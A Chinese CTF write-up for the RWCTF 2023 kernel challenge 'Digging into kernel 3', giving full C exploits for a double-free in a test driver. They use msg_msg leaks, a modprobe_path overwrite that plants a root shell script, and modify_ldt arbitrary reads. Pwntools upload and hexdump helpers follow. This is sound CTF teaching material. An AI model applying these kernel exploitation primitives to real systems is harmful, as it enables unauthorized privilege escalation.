#include <sys/msg.h>
#include<sys/shm.h>

#define OBJSIZE 0x20

int g_fd;
int64_t g_kernel_base;

int64_t kernel_elf_base = 0xFFFFFFFF81000000;
int64_t modprobe_path_addr = 0xFFFFFFFF828510A0;

struct rwstruct{
unsigned int idx;
unsigned int size;
char* cont;
};

int rwctf_ioctl_kmalloc(int idx, int size, char* cont){
struct rwstruct rw_buf;
rw_buf.idx = idx;
rw_buf.size = size;
rw_buf.cont = cont;
ioctl(g_fd,0xDEADBEEF,&rw_buf);
}

int rwctf_ioctl_kfree(int idx){
struct rwstruct rw_buf;
rw_buf.idx = idx;
rw_buf.size = 0;
rw_buf.cont = 0;
ioctl(g_fd,0xC0DECAFE,&rw_buf);
}

void aaw(int64_t* target_addr_p, char* target_cont_p){
char* buf = malloc(OBJSIZE);
memset(buf,'a',OBJSIZE);
rwctf_ioctl_kmalloc(0,OBJSIZE,buf);
rwctf_ioctl_kfree(0);
rwctf_ioctl_kfree(0); // double free

memcpy(buf+0x10,target_addr_p,0x8);
rwctf_ioctl_kmalloc(0,OBJSIZE,buf); // hijack, aaw address
rwctf_ioctl_kmalloc(0,OBJSIZE,buf);
rwctf_ioctl_kmalloc(0,OBJSIZE,target_cont_p); // aaw content
}

void prepare(){
system("echo '#!/bin/sh\nrm /bin/umount\necho -e \"#!/bin/sh\\n/bin/sh\" > /bin/umount\nchmod 777 /bin/umount' > /tmp/x");
system("echo '\nchmod 777 /flag' >> /tmp/x");
system("chmod +x /tmp/x");

system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");

if(fork()) {
sleep(3); // 需要在这个间隙中,将modprobe_path改成/tmp/x
system("/tmp/dummy 2>/dev/null");
system("ls -l /flag");
system("cat /flag");
exit(1);
}
}

int g_msqid;
struct g_msgp{
long type;
char mtext[0xfe8]; // 0x1000-0x30+0x20-0x8 = 0xFE8
};

int msg_msgget(key_t key,int msgflg)
{
int msqid;
if((msqid = msgget(key,msgflg)) == -1){
perror("msgget");
exit(-1);
}
return msqid;
}

void msg_msgsnd(int msqid,void *msgp,size_t msgsz,int msgflg)
{
if(msgsnd(msqid,msgp,msgsz,msgflg) == -1){
perror("msgsnd");
exit(-1);
}
}

ssize_t msg_msgrcv(int msqid,void *msgp,size_t msgsz,long msgtyp,int msgflg)
{
ssize_t result;
result = msgrcv(msqid,msgp,msgsz,msgtyp,msgflg);
if (result<0)
{
perror("msgrcv");
exit(-1);
}
return result;
}

void msg_msgctl(int msqid,int cmd,struct msqid_ds *buf)
{
if ((msgctl(msqid,cmd,buf))==-1) // 删除队列 msg_msgctl(msqid,IPC_RMID,NULL);
{
perror("Msgctl");
exit(-1);
}
}

void create_shm_file_data()
{
int shmid;
if ((shmid = shmget(IPC_PRIVATE, 100, 0600)) == -1) {
perror("shmget");
exit(0);
}
char *shmaddr = shmat(shmid, NULL, 0);
if (shmaddr == (void*)-1) {
perror("shmat");
exit(0);
}
}

void leak(){
char* buf = malloc(OBJSIZE);
memset(buf,'a',OBJSIZE);
rwctf_ioctl_kmalloc(0,OBJSIZE,buf); // 1
rwctf_ioctl_kfree(0); // 2

struct g_msgp msgp;
msgp.type = 1;
memset(msgp.mtext,'a',0xfe8);
g_msqid = msg_msgget(IPC_PRIVATE,IPC_CREAT|0666);
msg_msgsnd(g_msqid,&msgp,sizeof(msgp.mtext),0); // 3

rwctf_ioctl_kfree(0); // 4

create_shm_file_data(); // 5

char* recv_msg = malloc(0x1000);
msg_msgrcv(g_msqid,recv_msg,0x1000,0,IPC_NOWAIT|MSG_NOERROR); // 6
// hexdump(recv_msg,0x1000);

g_kernel_base = *(int64_t *)&recv_msg[0xfd8] - 0x19ac6c0;
printf("[+] kernel base is : 0x%lx\n",g_kernel_base);

free(buf);
free(recv_msg);

}

int main(){
g_fd = open("/dev/rwctf",2); // #define O_RDWR 00000002

prepare(); // 1. prepare /tmp/x & /tmp/dummy, then wait 3s to exec /tmp/dummy
leak(); // 2. leak kernel base

int64_t target_addr = modprobe_path_addr - kernel_elf_base + g_kernel_base;
printf("[+] modprobe_path addr: 0x%lx\n",target_addr);
char* target_cont_p = malloc(OBJSIZE);
memset(target_cont_p,'y',OBJSIZE);
memcpy(target_cont_p,"/tmp/x\x00",0x7);
aaw(&target_addr,target_cont_p); // 3. use aaw() to overwrite modprobe_path

return 0;
}

利用方法3

第三种方法算是一种非预期解(另外几种非预期解:/init权限;qemu启动参数-monitor未重定向到/dev/null),非预期本质原因,是题目使用了initrd作为根文件系统。initrd文件系统启动过程中会被加载到内存中并常驻,而flag的内容就存放在其中。

本题解法可概括成一句话:利用modify_ldt系统调用和UAF漏洞,实现任意内核地址的信息泄露,然后在direct mapping area搜索flag字符串。

利用总体思路如下:

  1. 确定page_offset_base的值(nokaslr时是0xffff888000000000 ,开启kaslr时需暴破)
  2. 遍历direct mapping area,找到flag字符串所在的地址
  3. 读取flag字符串

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <asm/ldt.h>
#include <sys/mman.h>

#define OBJSIZE 0x10

int g_fd;
int64_t g_flag_addr = -1;
int64_t page_offset_base = 0xffff888000000000;

struct rwstruct{
unsigned int idx;
unsigned int size;
char* cont;
};

int rwctf_ioctl_kmalloc(int idx, int size, char* cont){
struct rwstruct rw_buf;
rw_buf.idx = idx;
rw_buf.size = size;
rw_buf.cont = cont;
ioctl(g_fd,0xDEADBEEF,&rw_buf);
}

int rwctf_ioctl_kfree(int idx){
struct rwstruct rw_buf;
rw_buf.idx = idx;
rw_buf.size = 0;
rw_buf.cont = 0;
ioctl(g_fd,0xC0DECAFE,&rw_buf);
}

void kmalloc_ldt_struct(){
struct user_desc desc;
int retval = -2;

/* init descriptor info */
desc.base_addr = 0xff0000;
desc.entry_number = 0x8000 / 8;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.limit_in_pages = 0;
desc.lm = 0;
desc.read_exec_only = 0;
desc.seg_not_present = 0;
desc.useable = 0;

retval = syscall(SYS_modify_ldt, 1, &desc, sizeof(struct user_desc));
}

int main(){
g_fd = open("/dev/rwctf",2);
int retval = -2;

char* buf = malloc(OBJSIZE);
memset(buf,'a',OBJSIZE);
rwctf_ioctl_kmalloc(0,OBJSIZE,buf);
rwctf_ioctl_kfree(0);

kmalloc_ldt_struct();

// 1. leaking page_offset_base
while(1){
rwctf_ioctl_kfree(0);
*(int64_t *)buf = page_offset_base;
*((int64_t *)buf+1) = 0x8000 / 8;
rwctf_ioctl_kmalloc(0,OBJSIZE,buf); // 改掉*entries,指向page_offset_base
int64_t testing_buf = 0;
retval = syscall(SYS_modify_ldt, 0, &testing_buf, 0x8);
if(retval > 0){
break; // 读取到内容,说明触及到了起始边界
}else if(retval == 0){
printf("no mm->context.ldt!");
exit(-1);
}
page_offset_base += 0x10000000;
}
printf("[+] leaked page_offset_base : 0x%lx\n",page_offset_base);

// 2. searching
int64_t searching_addr = page_offset_base;
char* recv_buf = (char*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); // prepare user buffer
while(1){
rwctf_ioctl_kfree(0);
*(int64_t *)buf = searching_addr;
*((int64_t *)buf+1) = 0x8000 / 8;
rwctf_ioctl_kmalloc(0,OBJSIZE,buf); // set *entries to be the target address

retval = syscall(SYS_modify_ldt, 0, recv_buf, 0x8000);
char* ret_addr = memmem(recv_buf,0x8000,"rwctf{",6); // memmem用于匹配二进制串,strstr用于匹配字符串
if(ret_addr != 0){
for(int i = 0 ; i < 50; i++){
if(ret_addr[i] == '}'){ // 不仅要前几个字符"rwctf{"匹配,还需要匹配'}'
g_flag_addr = searching_addr + ((int64_t)ret_addr - (int64_t)recv_buf);
break;
}
}
printf("[+] Found 'flag{' at addr: 0x%lx\n", searching_addr + ((int64_t)ret_addr - (int64_t)recv_buf));
}
if(g_flag_addr != -1) break;
searching_addr += 0x8000;
}

// 3. read flag
char* flag = malloc(0x50); // 获得flag在direct mapping area的地址后,用任意地址读,将flag读出即可
rwctf_ioctl_kfree(0);
*(int64_t *)buf = g_flag_addr;
*((int64_t *)buf+1) = 0x8000 / 8;
rwctf_ioctl_kmalloc(0,OBJSIZE,buf);

retval = syscall(SYS_modify_ldt, 0, flag, 0x50);
printf("flag: %s\n",flag);
return 0;
}

以上是我根据参考exp精简后的利用脚本。

参考的exp中,说为了绕过config_hardened_usercopy这个选项,使用了fork子进程的方法来泄露内核地址。但是我写exp的过程中,发现不考虑这个选项也能做出来。甚至我有点怀疑这个安全选项有没有打开,因为我读内核代码段时内核不会崩溃,写内核代码段才会崩溃。可是暂时还不知道怎么通过bzImage确定安全选项是否打开。

进一步探索:泄露内核基址

上面直接用内存搜索的方法找到了flag,其实想想,用同样的方法也能探测出内核基址。

区域 起始地址 最大偏移(猜测)
direct mapping of all physical memory 0xffff 8880 0000 0000 0xfff f000 0000
kernel text mapping 0xffff ffff 8000 0000 0xfff0 0000

探测内核基址:从linux分配的0xffffffff80000000这个地址开始,以0x100000为间隔,进行探测,第一个可访问的点,就是内核加载基址。

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <asm/ldt.h>
#include <sys/mman.h>

#define OBJSIZE 0x10

int g_fd;
int64_t g_flag_addr = -1;
int64_t kernel_text_base = 0xffffffff80000000;

struct rwstruct{
unsigned int idx;
unsigned int size;
char* cont;
};

int rwctf_ioctl_kmalloc(int idx, int size, char* cont){
struct rwstruct rw_buf;
rw_buf.idx = idx;
rw_buf.size = size;
rw_buf.cont = cont;
ioctl(g_fd,0xDEADBEEF,&rw_buf);
}

int rwctf_ioctl_kfree(int idx){
struct rwstruct rw_buf;
rw_buf.idx = idx;
rw_buf.size = 0;
rw_buf.cont = 0;
ioctl(g_fd,0xC0DECAFE,&rw_buf);
}

void kmalloc_ldt_struct(){
struct user_desc desc;
int retval = -2;

/* init descriptor info */
desc.base_addr = 0xff0000;
desc.entry_number = 0x8000 / 8;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.limit_in_pages = 0;
desc.lm = 0;
desc.read_exec_only = 0;
desc.seg_not_present = 0;
desc.useable = 0;

retval = syscall(SYS_modify_ldt, 1, &desc, sizeof(struct user_desc));
}

int main(){
g_fd = open("/dev/rwctf",2);
int retval = -2;

char* buf = malloc(OBJSIZE);
memset(buf,'a',OBJSIZE);
rwctf_ioctl_kmalloc(0,OBJSIZE,buf);
rwctf_ioctl_kfree(0);

kmalloc_ldt_struct();

// 1. leaking kernel_text_base
while(1){
rwctf_ioctl_kfree(0);
*(int64_t *)buf = kernel_text_base;
*((int64_t *)buf+1) = 0x8000 / 8;
rwctf_ioctl_kmalloc(0,OBJSIZE,buf);
int64_t testing_buf = 0;
retval = syscall(SYS_modify_ldt, 0, &testing_buf, 0x8);
if(retval > 0){
break;
}else if(retval == 0){
printf("no mm->context.ldt!");
exit(-1);
}
kernel_text_base += 0x100000;
}
printf("[+] leaked kernel_base : 0x%lx\n",kernel_text_base);

system("/bin/sh");
}

image-20230214220058272

其他疑问

initrd(INIT RamDisk)

The initial RAM disk (initrd) is an initial root file system that is mounted prior to when the real root file system is available.

​ - 摘自 What’s an initial RAM disk?

initrd是一种初始根文件系统,在启动过程中它会被加载到内存中,它可以当作临时根文件系统,用它加载并挂载真正的根文件系统。这篇文章 可以了解到initrd的由来,这篇文章 了解initrd和initramfs的共同点和区别。

linux kernel pwn中,常见到将initrd作为根文件系统的场景,带来便利性的同时也引入了一个问题:文件系统的所有内容都在内存中(包括flag)。而64位架构下,所有的物理地址都会映射到direct mapping of all physical memory区域(0xffff888000000000 ~ 0xffffc87fffffffff,64TB)。也就是说通过搜索该区域就能找到flag内容。

malloc和mmap的区别

在写内核利用的exp时,看到别人的代码里申请大内存都是用mmap,而我习惯性地用malloc去申请。测试了一下两者在利用时都能成功,所以好奇它们究竟有什么区别,导致其他人都用mmap。

看了文章及一些讨论过后,决定以后我也要用mmap,总结如下两个点:

  • 一方面,使用mmap的话,更直接一些。申请大内存时,malloc中其实也是去调用了mmap。
  • 另一方面,可以避免glibc操作中的干扰,因为不清楚glibc封装地函数中做了什么操作,是否会出现什么未知问题。

绕过hardened_usercopy

  • fork绕过copy_to_user检查的原理?

    fork()时,ldt_structldt_struct->entries 指向的内容,都会在内核中复制一份

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    sys_fork()
    kernel_clone()
    copy_process()
    copy_mm()
    dup_mm()
    dup_mmap()
    arch_dup_mmap()
    ldt_dup_context()

    int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm)
    {
    //...

    memcpy(new_ldt->entries, old_mm->context.ldt->entries,
    new_ldt->nr_entries * LDT_ENTRY_SIZE);

    //...
    }
    // in arch/x86/kernel/ldt.c
  • 子进程中搜索字符串,需要将字符串地址传回给父进程

    采用pipe进程间通信的方式传递信息

参考文章

利用方法1:第五届 Real World CTF 体验赛 Writeup

利用方法2:2023 RWCTF体验赛 SU Writeup

利用方法3:RWCTF2023体验赛 write up for Digging into kernel 3

开启内核地址随机化KASLR后, qemu 调试 kernel 不能设置断点

1
2
方法1:在qemu启动命令行中,添加nokaslr
方法2:找到内核加载的基址,指定vmlinux加载到基址处

一些操作

精简ELF

写kernel pwn利用程序时,使用gcc静态编译的文件比较大,上传到远程服务器时比较耗时。为了减小文件大小,可以使用musl libc或者uclibc来编译。

以musl libc为例,简单讲一下怎么使用。

  • 首先,在 musl libc官网 下载源码包,然后进源码目录编译生成musl-gcc二进制。

    1
    2
    3
    4
    wget https://musl.libc.org/releases/musl-1.2.3.tar.gz
    tar -xzf ./musl-1.2.3.tar.gz
    cd musl-1.2.3
    ./configure && sudo make install -j `nproc`
  • 然后,就可以用musl-gcc编译c文件了,用法同gcc

    1
    musl-gcc -static -masm=intel exp.c -o exp

    上传脚本

做kernel pwn题时,通常需要上传一个编译好的二进制程序到服务器中。在没有ssh的情况下,通常是通过分段编码(base64)的方式,将文件传到服务器中。

上传的操作可以封装成一个简单的python函数,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

ch = b'/ $ ' # 根据题目情况更改

# io = remote("192.168.1.207",10023)
# io.sendlineafter(b"buildroot login: ",b"root")
# io.sendlineafter(ch,b"ls")

io = process(['/bin/bash','./praymoon/run.sh'])

def upload(lname, rname):
print("[*] uploading %s ..." % lname)
payload = b64e(open(lname,'rb').read())
a = len(payload) // 500
for i in range(a + 1):
print("[+] %d/%d" % (i,a))
s = 'echo "' + payload[i*(500):(i+1)*500] + '" >> %s.b64' % rname
io.sendlineafter(ch,s.encode('utf-8'))
cmd = 'cat %s.b64 | base64 -d > %s' % (rname,rname)
io.sendlineafter(ch,cmd.encode('utf-8'))


io.sendline("ls")
upload("./test","/tmp/test") # 示例用法
context(log_level='debug')
io.sendlineafter(ch,b"chmod +x /tmp/test")
io.sendlineafter(ch,b"/tmp/test")
io.interactive()
#io.sendlineafter("/ # ",b"cat /flag")

# while 1:
# t = io.recvline()
# print(t.replace(b"\r",b'').decode('utf-8'))
# io.send(input().encode('utf-8'))

内存dump

调试堆喷的时候,经常需要dump内存,所以找了两个封装好的函数。前一个代码量小,只是简单将内存中的数据打印出来。后一个还对每行数据做了offset的标记,并将可显示字符打印出来,类似010editor的效果。

  • 简单版

    1
    2
    3
    4
    5
    6
    7
    8
    void debug(char * buf,int len){
    for(int i=0;i<len;i++){
    if((i%8==0) && (i!=0)) printf(" ");
    if((i%16==0) && (i!=0)) printf("\n");
    printf("%02X ",buf[i] & 0xff);
    }
    printf("\n");
    }
  • 详细版

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    #ifndef HEXDUMP_COLS
    #define HEXDUMP_COLS 16
    #endif

    void hexdump(void *mem, unsigned int len) {
    putchar('\n');
    for(int i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) {
    /* print offset */
    if(i % HEXDUMP_COLS == 0) {
    printf("0x%06x: ", i);
    }

    /* print hex data */
    if(i < len) {
    printf("%02x ", 0xFF & ((char*)mem)[i]);
    }
    /* end of block, just aligning for ASCII dump */
    else {
    printf(" ");
    }

    /* print ASCII dump */
    if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) {
    for(int j = i - (HEXDUMP_COLS - 1); j <= i; j++) {
    /* end of block, not really printing */
    if(j >= len) {
    putchar(' ');
    }
    /* printable char */
    else if(isprint(((char*)mem)[j])) {
    putchar(0xFF & ((char*)mem)[j]);
    }
    /* other char */
    else {
    putchar('.');
    }
    }
    putchar('\n');
    }
    }
    putchar('\n');
    }

其他利用方法

USMA

blackhat - USMA: Share Kernel Code with Me

USMA:用户态映射攻击

DirtyCred

DirtyCred: Escalating Privilege in Linux Kernel

Cautious! A New Exploitation Method! No Pipe but as Nasty as Dirty Pipe

简单介绍 - Dirty Cred: What You Need to Know

DirtyCred官方示例